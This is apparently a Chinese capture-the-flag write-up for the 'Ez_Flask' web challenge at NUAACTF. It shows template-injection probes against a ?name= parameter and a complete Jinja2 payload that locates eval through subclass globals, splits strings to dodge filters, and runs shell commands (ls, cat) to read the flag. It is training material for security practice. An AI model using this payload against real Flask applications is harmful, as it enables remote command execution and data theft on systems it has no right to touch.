NUAACTF - Web - Ez_Flask

NUAACTF - Web - Ez_Flask_第1张图片
按照提示随便传一个:?name=123
NUAACTF - Web - Ez_Flask_第2张图片
可能存在模板渲染,检测一下:?name=${2*7}
NUAACTF - Web - Ez_Flask_第3张图片
?name={{7*7}}
NUAACTF - Web - Ez_Flask_第4张图片
?name={{7*'7'}}
NUAACTF - Web - Ez_Flask_第5张图片
发现是 jinja2 渲染
看一下所有的类:?name={{[].__class__.__base__.__subclasses__()}}
NUAACTF - Web - Ez_Flask_第6张图片
可以一点一点的往下找,也可以直接写payload

{% for c in [].__class__.__base__.__subclasses__() %}
    {% if c.__name__ == 'catch_warnings' %}
        {% for b in c.__init__.__globals__.values() %}
            {% if b.__class__ == {}.__class__ %}
                {% if 'ev'+'al' in b.keys() %}
                    {{ b['ev'+'al']('__import__("o"+"s").popen("ls").read()') }}
                {% endif %}
            {% endif %}
        {% endfor %}
    {% endif %}
{% endfor %}

NUAACTF - Web - Ez_Flask_第7张图片
直接拿flagpopen("cat flllll11111114aaaaaggggggggggggg").read()
NUAACTF - Web - Ez_Flask_第8张图片

你可能感兴趣的:(ctf,Writeup,flask,前端,python)